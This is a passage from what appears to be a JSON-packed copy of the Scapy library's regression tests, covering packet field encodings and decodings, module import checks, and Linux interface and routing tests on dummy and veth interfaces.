\"f4\", \"f5\", \"f6\", \"f7\"])]\n\n= Test upper nibble\n\na = FlagsTest(b\"\\xf0\")\nflags = list(a.flags)\n\nassert len(flags) == 4\nassert \"f4\" in flags\nassert \"f5\" in flags\nassert \"f6\" in flags\nassert \"f7\" in flags\n\n= Test lower nibble\n\na = FlagsTest(b\"\\x0f\")\nflags = list(a.flags)\n\nassert len(flags) == 4\nassert \"f3\" in flags\nassert \"f2\" in flags\nassert \"f1\" in flags\nassert \"f0\" in flags\n\n= Test single flag 1\n\na = FlagsTest(b\"\\x01\")\nflags = list(a.flags)\n\nassert len(flags) == 1\nassert \"f0\" in flags\n\n= Test single flag 2\n\na = FlagsTest(b\"\\x02\")\nflags = list(a.flags)\n\nassert len(flags) == 1\nassert \"f1\" in flags\n\n= Test single flag 0x80\n\na = FlagsTest(b\"\\x80\")\nflags = list(a.flags)\n\nassert len(flags) == 1\nassert \"f7\" in flags\n\n= Test pattern 0x55\n\na = FlagsTest(b\"\\x55\")\nflags = list(a.flags)\n\nassert len(flags) == 4\nassert \"f6\" in flags\nassert \"f2\" in flags\nassert \"f4\" in flags\nassert \"f0\" in flags\n\n= Test pattern 0xAA\n\na = FlagsTest(b\"\\xAA\")\nflags = list(a.flags)\n\nassert len(flags) == 4\nassert \"f7\" in flags\nassert \"f3\" in flags\nassert \"f5\" in flags\nassert \"f1\" in flags\n\n= Test pattern 0x00\n\na = FlagsTest(b\"\\x00\")\nflags = list(a.flags)\n\nassert len(flags) == 0\n\n= Test pattern 0xFF\n\na = FlagsTest(b\"\\xFF\")\nflags = list(a.flags)\n\nassert len(flags) == 8\nassert \"f7\" in flags\nassert \"f3\" in flags\nassert \"f5\" in flags\nassert \"f1\" in flags\nassert \"f6\" in flags\nassert \"f2\" in flags\nassert \"f4\" in flags\nassert \"f0\" in flags\n\n= FlagsField with str\n\nclass TCPTest(Packet):\n    fields_desc = [\n        BitField(\"reserved\", 0, 7),\n        FlagsField(\"flags\", 0x2, 9, \"FSRPAUECN\")\n    ]\n\na = TCPTest(flags=3)\nassert a.flags.F\nassert a.flags.S\nassert a.sprintf(\"%flags%\") == \"FS\"\n\n= FlagsField with dict\n\nclass FlagsTest2(Packet):\n    fields_desc = [\n        FlagsField(\"flags\", 0x2, 16, {\n            0x0001: \"A\", \n            0x0008: \"B\",\n            0x1000: \"C\",\n        })\n    ]\n\na = FlagsTest2(flags=9)\na.sprintf(\"%flags%\")\nassert a.flags.A\nassert a.flags.B\nassert a.sprintf(\"%flags%\") == \"A+B\"\n\nb = FlagsTest2(flags=\"B+C\")\nassert b.flags == 0x1000 | 0x0008\n\n= Conditional FlagsField command\n\nclass CondFlagsTest(Packet):\n    fields_desc = [\n        ByteField(\"b\", 0),\n        ConditionalField(FlagsField(\"f\", 0, 8, \"\"), lambda p: p.b == 0)\n    ]\n\np = CondFlagsTest(b\"\\x00\\x0f\")\nassert p == eval(p.command())\n\n########\n########\n+ ScalingField\n\n= ScalingField Test default behaviour\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0)\n    ]\n\nx = DebugPacket()\nassert len(x) == 1\nassert x.data == 0\n\nx.data = 1\nassert x.data == 1\n\n= ScalingField Test string assignment\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1)\n    ]\n\nx = DebugPacket()\n\nx.data = '\\x01'\nassert x.data == 0.1\nx.data = 2.0\nassert x.data == 2.0\nassert bytes(x) == b\"\\x14\"\nx.data = b'\\xff'\nassert x.data == 25.5\nx.data = '\\x7f'\nassert x.data == 12.7\n\n\n= ScalingField Test scaling\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1)\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == 0.1\nx.data = 2.0\nassert x.data == 2.0\nassert bytes(x) == b\"\\x14\"\nx.data = b'\\xff'\nassert x.data == 25.5\n\n= ScalingField Test scaling signed\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, fmt=\"b\")\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == 0.1\nx.data = 12.7\nassert x.data == 12.7\nassert bytes(x) == b\"\\x7f\"\nx.data = b'\\x80'\nassert x.data == -12.8\nx.data = -0.1\nassert x.data == -0.1\nassert bytes(x) == b\"\\xff\"\n\n= ScalingField Test scaling signed offset\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-1, fmt=\"b\")\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == -0.9\nx.data = 11.7\nassert x.data == 11.7\nassert bytes(x) == b\"\\x7f\"\nx.data = b'\\x80'\nassert x.data == -13.8\nx.data = -1.1\nassert x.data == -1.1\nassert bytes(x) == b\"\\xff\"\n\n= ScalingField Test scaling offset\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-1)\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == -0.9\nx.data = 11.7\nassert x.data == 11.7\nassert bytes(x) == b\"\\x7f\"\nx.data = b'\\x80'\nassert x.data == 11.8\nx.data = 24.5\nassert x.data == 24.5\nassert bytes(x) == b\"\\xff\"\n\n= ScalingField Test unit\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, unit=\"V\")\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == 1\nassert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '1 V'\n\n= ScalingField Test unit and ndigits\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.123456, unit=\"V\", ndigits=1)\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nassert x.data == 0.1\nassert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.1 V'\n\n= ScalingField Test unit and ndigits 2\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.123456, unit=\"V\", ndigits=3)\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nprint(x.__repr__())\nassert x.data == 0.123\nassert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.123 V'\n\n= ScalingField Test unit and ndigits 3\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.123456, unit=\"V\", ndigits=5)\n    ]\n\nx = DebugPacket()\n\nx.data = b'\\x01'\nprint(x.__repr__())\nassert x.data == 0.12346\nassert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.12346 V'\n\n= ScalingField randval byte\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-5)\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -5.0\nassert r.max == 20.5\n\n\n= ScalingField randval byte 2\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=-0.1, offset=-5)\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -30.5\nassert r.max == -5\n\n\n= ScalingField signed randval byte\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=-0.1, offset=-5, fmt=\"b\")\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -17.7\nassert r.max == 7.8\n\n\n= ScalingField signed randval byte 2\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-5, fmt=\"b\")\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -17.8\nassert r.max == 7.7\n\n\n= ScalingField signed randval short\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-5, fmt=\"h\")\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -3281.8\nassert r.max == 3271.7\n\n\n= ScalingField signed randval int\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-5, fmt=\"i\")\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -214748369.8\nassert r.max == 214748359.7\n\n\n= ScalingField signed randval long\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, offset=-5, fmt=\"q\")\n    ]\n\nx = DebugPacket()\n\nr = x.fields_desc[0].randval()\nval = r._fix()\nassert r.min == -922337203685477585.8\nassert r.max == 922337203685477575.7\n\n= ScalingField signed randval long\n\ny = fuzz(x)\nassert bytes(y) != bytes(y)\n\n############\n############\n= LSBExtendedField\n* Test addfield and getfield\n\nf = LSBExtendedField(\"a\", 0)\n\nassert f.addfield(None, b\"\", 1) == b\"\\x02\"\nassert f.addfield(None, b\"\", 127) == b\"\\xfe\"\nassert f.addfield(None, b\"\", 128) == b\"\\x01\\x02\"\nassert f.addfield(None, b\"\", 536) == b\"1\\x08\"\nassert f.addfield(None, b\"\", 16383) == b\"\\xff\\xfe\"\n\n= MSBExtendedField\n* Test i2m and m2i\n\nf = MSBExtendedField(\"a\", 0)\n\nassert f.addfield(None, b\"\", 1) == b\"\\x01\"\nassert f.addfield(None, b\"\", 127) == b\"\\x7f\"\nassert f.addfield(None, b\"\", 128) == b\"\\x80\\x01\"\nassert f.addfield(None, b\"\", 536) == b\"\\x98\\x04\"\nassert f.addfield(None, b\"\", 16383) == b\"\\xff\\x7f\"\n\n\n############\n############\n+ Deprecated fields in Packet\n~ deprecated\n\n= Field Deprecation test\n\nclass TestPacket(Packet):\n    fields_desc = [\n        ByteField(\"a\", 0),\n        LEShortField(\"b\", 15),\n    ]\n    deprecated_fields = {\n        \"dpr\": (\"a\", \"1.0\"),\n        \"B\": (\"b\", \"1.0\"),\n    }\n\ntry:\n    pkt = TestPacket(a=2, B=3)\n    assert pkt.B == 3\n    assert pkt.b == 3\n    assert pkt.a == 2\n    \n    import warnings\n    \n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter(\"always\")\n        assert pkt.dpr == 2\n        assert len(w) == 1\n        assert issubclass(w[-1].category, DeprecationWarning)\nexcept DeprecationWarning:\n    # -Werror is used\n    pass\n\n\n############\n############\n+ FCSField\n\n= FCSField: basic test\n\nclass TestPacket(Packet):\n    fields_desc = [\n        ByteField(\"a\", 0),\n        LEShortField(\"b\", 15),\n        LEIntField(\"c\", 7),\n        FCSField(\"fcs\", None),\n        IntField(\"bottom\", 0)\n    ]\n\nbind_layers(TestPacket, Ether)\n\npkt = TestPacket(a=12, fcs=0xbeef, bottom=123)/Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")\n\nassert raw(pkt) == b'\\x0c\\x0f\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00{\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xbe\\xef'\n# Test that it is consistent\nassert raw(pkt) == b'\\x0c\\x0f\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00{\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xbe\\xef'\n\npkt = TestPacket(raw(pkt))\nassert pkt.fcs == 0xbeef\n\n\n= FCSField: multiple\n\nclass TestPacket2(Packet):\n    fields_desc = [\n        ByteField(\"a\", 0),\n        LEShortField(\"b\", 15),\n        FCSField(\"fcs1\", None),\n        LEIntField(\"c\", 7),\n        FCSField(\"fcs2\", None),\n        IntField(\"bottom\", 0),\n    ]\n\nbind_layers(TestPacket2, Ether)\n\npkt = TestPacket2(a=12, fcs1=0xbeef, fcs2=0xfeed, bottom=123)/Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")\n\nassert raw(pkt) == b'\\x0c\\x0f\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00{\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xfe\\xed\\xbe\\xef'\nassert raw(pkt) == b'\\x0c\\x0f\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00{\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xfe\\xed\\xbe\\xef'\n\npkt = TestPacket2(raw(pkt))\nassert pkt.fcs1 == 0xbeef\nassert pkt.fcs2 == 0xfeed\nassert pkt.bottom == 123\nassert pkt.a == 12\n\n\n############\n############\n+ PacketField\n\n= PacketField: randval()\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ShortField('short', 0),\n        ByteField('byte', 0),\n        LongField('long', 0)\n    ]\n\np = PacketField('packet', b'', DebugPacket).randval()\n\nassert isinstance(p.short, RandShort)\nassert isinstance(p.byte, RandByte)\nassert isinstance(p.long, RandLong)\n\n\n= PacketField: randval(), PacketField in PacketField\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ShortField('short1', 0),\n        ByteField('byte', 0),\n        LongField('long', 0)\n    ]\n\nclass DummyPacket(Packet):\n    fields_desc = [\n        PacketField('packet', b'', DebugPacket),\n        ShortField('short2', 0)\n    ]\n\n\np = PacketField('packet', b'', DummyPacket).randval()\n\nassert isinstance(p.packet.short1, RandShort)\nassert isinstance(p.packet.byte, RandByte)\nassert isinstance(p.packet.long, RandLong)\nassert isinstance(p.short2, RandShort)\n\n= Test parent reference in guess_payload_class\n\nclass TestGuessInner(Packet):\n    name=\"test guess inner\"\n    fields_desc=[ ByteField(\"foo\", 0) ]\n    def guess_payload_class(self, payload):\n        self.parentflag = True\n        if self.parent is None:\n            # all exceptions are caught, so have to use flag\n            self.parentflag = False\n        return super(TestGuessInner, self).guess_payload_class(payload)\n\nclass TestGuess(Packet):\n    name=\"test guess\"\n    fields_desc=[ PacketField(\"pf\", None, TestGuessInner) ]\n\nx=TestGuess(pf=TestGuessInner()/Raw(b'123'))\np=TestGuess(raw(x))\nassert p[TestGuessInner].parentflag\nassert p[TestGuessInner].parent == p\n\n############\n############\n+ XStr(*)Field tests\n\n= i2repr\n~ field xstrfield\n\nfrom collections import namedtuple\nMockPacket = namedtuple('MockPacket', ['type'])\n\nmp = MockPacket(0)\nf = XStrField('test', None)\nx = f.i2repr(mp, RandBin())\nassert x == '<RandBin>'\n\n############\n############\n+ Raw() tests\n\n= unaligned data\n\np = Raw(b\"abc\")\np\n\noffsetdata = bytes.fromhex(\"0\" + p.load.hex() + \"0\")\n\np = Raw((offsetdata, 4))\np\n\n############\n############\n+ PacketListField() tests\n\n= unaligned data\n\nclass PInner(Packet):\n    name = \"PInner\"\n    fields_desc = [\n        BitField(\"x\", 0, 8),\n    ]\n    def extract_padding(self, s):\n        return '', s\n\nclass POuter(Packet):\n    name = \"POuter\"\n    fields_desc = [\n        BitField(\"indent\", 0, 4),\n        BitFieldLenField(\"pcount\", None, 8, count_of=\"plist\"),\n        PacketListField(\"plist\", None, PInner,\n                             count_from=lambda pkt: pkt.pcount),\n    ]\n\np = POuter(b\"\\xf0\\x44\\x14\\x24\\x34\\x40\")\np\n\nassert p.indent == 0xf\nassert p.pcount == 4\nassert [p.x for p in p.plist] == [0x41, 0x42, 0x43, 0x44]\n"
  },
  {
    "path": "test/imports.uts",
    "content": "% Import tests\n~ not_pypy\n\n+ Import tests\n~ imports\n\n= Prepare importing all scapy files\n\nimport os\nimport glob\nimport subprocess\nimport re\nimport time\nimport sys\nfrom scapy.consts import WINDOWS, OPENBSD\n\n# DEV: to add your file to this list, make sure you have\n# a GREAT reason.\nEXCEPTIONS = [\n    \"scapy.__main__\",\n    \"scapy.all\",\n    \"scapy.contrib.automotive*\",\n    \"scapy.contrib.cansocket*\",\n    \"scapy.contrib.isotp*\",\n    \"scapy.contrib.scada*\",\n    \"scapy.layers.all\",\n    \"scapy.main\",\n]\n\nif WINDOWS:\n    EXCEPTIONS.append(\"scapy.layers.tuntap\")\n\nEXCEPTION_PACKAGES = [\n    \"arch\",\n    \"libs\",\n    \"modules\",\n    \"tools\",\n]\n\nALL_FILES = [\n    \"scapy.\" + re.match(\".*scapy\\\\\" + os.path.sep + \"(.*)\\\\.py$\", x).group(1).replace(os.path.sep, \".\")\n    for x in glob.iglob(scapy_path('/scapy/**/*.py'), recursive=True)\n]\nALL_FILES = [\n    x for x in ALL_FILES if\n    not any(x == y if y[-1] != \"*\" else x.startswith(y[:-1]) for y in EXCEPTIONS) and\n    x.split(\".\")[1] not in EXCEPTION_PACKAGES\n]\n\nNB_PROC = 1 if WINDOWS or OPENBSD else 4\n\ndef append_processes(processes, filename):\n    processes.append(\n        (subprocess.Popen(\n            [sys.executable, \"-c\", \"import %s\" % filename],\n            stderr=subprocess.PIPE, encoding=\"utf8\"),\n         time.time(),\n         filename))\n\ndef check_processes(processes):\n    for i, tup in enumerate(processes):\n        proc, start_ts, file = tup\n        errs = \"\"\n        try:\n            _, errs = proc.communicate(timeout=0.5)\n        except subprocess.TimeoutExpired:\n            if time.time() - start_ts > 30:\n                proc.kill()\n                errs = \"Timed out (>30s)!\"\n        if proc.returncode is None:\n            continue\n        else:\n            print(\"Finished %s with %d after %f sec\" %\n                  (file, proc.returncode, time.time() - start_ts))\n            if proc.returncode != 0:\n                for p in processes:\n                    p[0].kill()\n                raise Exception(\n                    \"Importing the file '%s' failed !\\\\n%s\" % (file, errs))\n            del processes[i]\n            return\n\n\ndef import_all(FILES):\n    processes = list()\n    while len(processes) == NB_PROC:\n        check_processes(processes)\n    for filename in FILES:\n        check_processes(processes)\n        if len(processes) < NB_PROC:\n            append_processes(processes, filename)\n\n\n= Try importing all core separately\n\nimport_all(x for x in ALL_FILES if \"layers\" not in x and \"contrib\" not in x)\n\n= Try importing all layers separately\n\nimport_all(x for x in ALL_FILES if \"layers\" in x)\n\n= Try importing all contribs separately\n\nimport_all(x for x in ALL_FILES if \"contrib\" in x)\n"
  },
  {
    "path": "test/linux.uts",
    "content": "% Regression tests for Linux only\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Linux only test\n\n= L3RawSocket\n~ netaccess IP TCP linux needs_root\n\nwith no_debug_dissector():\n    x = sr1(IP(dst=\"www.google.com\")/TCP(sport=RandShort(), dport=80, flags=\"S\"),timeout=3)\n\nx\nassert x[IP].ottl() in [32, 64, 128, 255]\nassert 0 <= x[IP].hops() <= 126\n\n# TODO: fix this test (randomly stuck)\n# ex: https://travis-ci.org/secdev/scapy/jobs/247473497\n\n#= Supersocket _flush_fd\n#~ needs_root linux\n#\n#import select\n#\n#from scapy.arch.linux import _flush_fd\n#socket = conf.L2listen()\n#select.select([socket],[],[],2)\n#_flush_fd(socket.ins)\n\n= Interface aliases & sub-interfaces\n~ linux needs_root\n\nimport os\nexit_status = os.system(\"ip link add name scapy0 type dummy\")\nexit_status = os.system(\"ip addr add 192.0.2.1/24 dev scapy0\")\nexit_status = os.system(\"ip link set scapy0 up\")\nexit_status = os.system(\"ifconfig scapy0:0 inet 198.51.100.1/24 up\")\nif exit_status == 0:\n    exit_status = os.system(\"ip addr show scapy0\")\n    print(get_if_list())\n    conf.route.resync()\n    print(conf.route.routes)\n    assert conf.route.route(\"198.51.100.254\") == (\"scapy0\", \"198.51.100.1\", \"0.0.0.0\")\n    route_alias = (3325256704, 4294967040, \"0.0.0.0\", \"scapy0\", \"198.51.100.1\", 0)\n    assert route_alias in conf.route.routes\n    exit_status = os.system(\"ip link add link scapy0 name scapy0.42 type vlan id 42\")\n    exit_status = os.system(\"ip addr add 203.0.113.42/24 dev scapy0.42\")\n    exit_status = os.system(\"ip link set scapy0.42 up\")\n    exit_status = os.system(\"ip route add 192.0.2.43/32 via 203.0.113.41\")\n    print(get_if_list())\n    conf.route.resync()\n    print(conf.route.routes)\n    assert conf.route.route(\"192.0.2.43\") == (\"scapy0.42\", \"203.0.113.42\", \"203.0.113.41\")\n    route_specific = (3221226027, 4294967295, \"203.0.113.41\", \"scapy0.42\", \"0.0.0.0\", 0)\n    assert route_specific in conf.route.routes\n    assert conf.route.route(\"203.0.113.42\") == ('scapy0.42', '203.0.113.42', '0.0.0.0')\n    assert conf.route.route(\"203.0.113.43\") == ('scapy0.42', '203.0.113.42', '0.0.0.0')\n    exit_status = os.system(\"ip link del name dev scapy0\")\nelse:\n    assert True\n\n\n= Test scoped interface addresses\n~ linux needs_root\n\nimport os\nexit_status = os.system(\"ip link add name scapy0 type dummy\")\nexit_status = os.system(\"ip link add name scapy1 type dummy\")\nexit_status |= os.system(\"ip addr add 192.0.2.1/24 dev scapy0\")\nexit_status |= os.system(\"ip addr add 192.0.3.1/24 dev scapy1\")\nexit_status |= os.system(\"ip link set scapy0 address 00:01:02:03:04:05 multicast on up\")\nexit_status |= os.system(\"ip link set scapy1 address 06:07:08:09:10:11 multicast on up\")\nassert exit_status == 0\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\nconf.route6\n\ntry:\n    # IPv4\n    a = Ether()/IP(dst=\"224.0.0.1%scapy0\")\n    assert a[Ether].src == \"00:01:02:03:04:05\"\n    assert a[IP].src == \"192.0.2.1\"\n    b = Ether()/IP(dst=\"224.0.0.1%scapy1\")\n    assert b[Ether].src == \"06:07:08:09:10:11\"\n    assert b[IP].src == \"192.0.3.1\"\n    c = Ether()/IP(dst=\"224.0.0.1/24%scapy1\")\n    assert c[Ether].src == \"06:07:08:09:10:11\"\n    assert c[IP].src == \"192.0.3.1\"\n    # IPv6\n    a = Ether()/IPv6(dst=\"ff02::fb%scapy0\")\n    assert a[Ether].src == \"00:01:02:03:04:05\"\n    assert a[IPv6].src == \"fe80::201:2ff:fe03:405\"\n    b = Ether()/IPv6(dst=\"ff02::fb%scapy1\")\n    assert b[Ether].src == \"06:07:08:09:10:11\"\n    assert b[IPv6].src == \"fe80::407:8ff:fe09:1011\"\n    c = Ether()/IPv6(dst=\"ff02::fb/30%scapy1\")\n    assert c[Ether].src == \"06:07:08:09:10:11\"\n    assert c[IPv6].src == \"fe80::407:8ff:fe09:1011\"\nfinally:\n    exit_status = os.system(\"ip link del scapy0\")\n    exit_status = os.system(\"ip link del scapy1\")\n    conf.ifaces.reload()\n    conf.route.resync()\n    conf.route6.resync()\n\n= catch loopback device missing\n~ linux needs_root\n\nfrom unittest.mock import patch\n\n# can't remove the lo device (or its address without causing trouble) - use some pseudo dummy instead\n\nwith patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo_x'):\n    routes = read_routes()\n\n= catch loopback device no address assigned\n~ linux needs_root\n\nimport os, socket\nfrom unittest.mock import patch\n\ntry:\n    exit_status = os.system(\"ip link add name scapy_lo type dummy\")\n    assert exit_status == 0\n    exit_status = os.system(\"ip link set dev scapy_lo up\")\n    assert exit_status == 0\n    \n    with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'):\n        routes = read_routes()\n    \n    exit_status = os.system(\"ip addr add dev scapy_lo 10.10.0.1/24\")\n    assert exit_status == 0\n    \n    with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'):\n        routes = read_routes()\n    \n    lo_routes = [\n        (ltoa(dst_int), ltoa(msk_int), gw_str, if_name, if_addr, metric)\n        for dst_int, msk_int, gw_str, if_name, if_addr, metric in routes\n        if if_name == \"scapy_lo\"\n    ]\n    lo_routes.sort(key=lambda x: x[0])\n    \n    expected_routes = [\n        (168427520, 4294967040, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0),\n        (168427521, 4294967295, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0),\n        (168427775, 4294967295, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0),\n    ]\n    print(lo_routes)\n    print(expected_routes)\nfinally:\n    exit_status = os.system(\"ip link del dev scapy_lo\")\n    assert exit_status == 0\n\n= IPv6 link-local address selection\n\nconf.ifaces._add_fake_iface(\"scapy0\", 'e2:39:91:79:19:10')\n\nfrom unittest.mock import patch\nconf.route6.routes =  [('fe80::', 64, '::', 'scapy0', ['fe80::e039:91ff:fe79:1910'], 256)]\nconf.route6.ipv6_ifaces = set(['scapy0'])\nbck_conf_iface = conf.iface\nconf.iface = \"scapy0\"\n\np = Ether()/IPv6(dst=\"ff02::1\")/ICMPv6NIQueryName(data=\"ff02::1\")\nprint(p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IPv6.src% > %IPv6.dst%\"))\nip6_ll_address = 'fe80::e039:91ff:fe79:1910'\nprint(p[IPv6].src, ip6_ll_address)\nassert p[IPv6].src == ip6_ll_address\nmac_address = 'e2:39:91:79:19:10'\nprint(p[Ether].src, mac_address)\nassert p[Ether].src == mac_address\n\nconf.iface = bck_conf_iface\nconf.route6.resync()\n\n= IPv6 - check OS routes\n~ linux ipv6\n\naddrs = in6_getifaddr()\nif addrs:\n    assert all(in6_isvalid(addr[0]) for addr in in6_getifaddr()), 'invalid ipv6 address'\n    ifaces6 = [addr[2] for addr in in6_getifaddr()]\n    assert all(iface in ifaces6 for iface in conf.route6.ipv6_ifaces), 'ipv6 interface has route but no real'\n\n\n= veth interface error handling\n~ linux needs_root veth\n\nfrom scapy.arch.linux import VEthPair\n\ntry:\n    veth = VEthPair('this_IF_name_is_to_long_and_will_cause_an_error', 'veth_scapy_1')\n    veth.setup()\n    assert False\nexcept subprocess.CalledProcessError:\n    pass\nexcept Exception:\n    assert False\n\n= veth interface usage - ctx manager\n~ linux needs_root veth\n\nfrom threading import Condition\n\ncond_started = Condition()\n\ndef _sniffer_started():\n\n    global cond_started\n    cond_started.acquire()\n    cond_started.notify()\n    cond_started.release()\n\ncond_started.acquire()\n\ntry:\n    with VEthPair('veth_scapy_0', 'veth_scapy_1') as veth:\n        if_list = get_if_list()\n        assert ('veth_scapy_0' in if_list)\n        assert ('veth_scapy_1' in if_list)\n        frm_count = 0\n        def _sniffer():\n            sniffed = sniff(iface='veth_scapy_1',\n                            store=True,\n                            count=2,\n                            lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef,\n                            started_callback=_sniffer_started,\n                            timeout=3)\n            global frm_count\n            frm_count = 2\n        t_sniffer = Thread(target=_sniffer, name=\"linux.uts sniff veth_scapy_1\")\n        t_sniffer.start()\n        cond_started.wait()\n        sendp(Ether(type=0xbeef)/Raw(b'0123456789'),\n              iface='veth_scapy_0',\n              count=2)\n        t_sniffer.join(1)\n        assert frm_count == 2\n\n    if_list = get_if_list()\n    assert ('veth_scapy_0' not in if_list)\n    assert ('veth_scapy_1' not in if_list)\nexcept subprocess.CalledProcessError:\n    assert False\nexcept Exception:\n    assert False\n\n= veth interface usage - manual interface handling\n~ linux needs_root veth\n\nfrom threading import Condition\n\ncond_started = Condition()\n\ndef _sniffer_started():\n\n    global cond_started\n    cond_started.acquire()\n    cond_started.notify()\n    cond_started.release()\n\ncond_started.acquire()\n\n\nveth = VEthPair('veth_scapy_0', 'veth_scapy_1')\ntry:\n    veth.setup()\n    veth.up()\nexcept subprocess.CalledProcessError:\n    assert False\nexcept Exception:\n    assert False\n\nconf.ifaces.reload()\nif_list = get_if_list()\nassert ('veth_scapy_0' in if_list)\nassert ('veth_scapy_1' in if_list)\n\nfrm_count = 0\ndef _sniffer():\n    sniffed = sniff(iface='veth_scapy_1',\n                    store=True,\n                    count=2,\n                    lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef,\n                    started_callback=_sniffer_started,\n                    timeout=3)\n    global frm_count\n    frm_count = 2\n\nt_sniffer = Thread(target=_sniffer, name=\"linux.uts sniff veth_scapy_1 2\")\nt_sniffer.start()\ncond_started.wait()\nsendp(Ether(type=0xbeef)/Raw(b'0123456789'),\n      iface='veth_scapy_0',\n      count=2)\nt_sniffer.join(1)\nassert frm_count == 2\n\ntry:\n    veth.down()\n    veth.destroy()\n\n    conf.ifaces.reload()\n    if_list = get_if_list()\n    assert ('veth_scapy_0' not in if_list)\n    assert ('veth_scapy_1' not in if_list)\nexcept subprocess.CalledProcessError:\n    assert False\nexcept Exception:\n    assert False\n\n\n= Routing table, interface with no names\n~ linux\n\nfrom unittest.mock import patch\n\n@patch(\"scapy.arch.linux.ioctl\")\ndef test_read_routes(mock_ioctl):\n    def raise_ioerror(*args, **kwargs):\n        if args[1] == 0x8912:\n            return args[2]\n        raise IOError\n    mock_ioctl.side_effect = raise_ioerror\n    read_routes()\n\ntest_read_routes()\n\n\n= L3PacketSocket sendto exception\n~ linux needs_root\n\nfrom scapy.arch.linux import L3PacketSocket\n\nimport socket\nfrom unittest import mock\n\n@mock.patch(\"scapy.arch.linux.socket.socket.sendto\")\ndef test_L3PacketSocket_sendto_python3(mock_sendto):\n    mock_sendto.side_effect = OSError(22, 2807)\n    l3ps = L3PacketSocket()\n    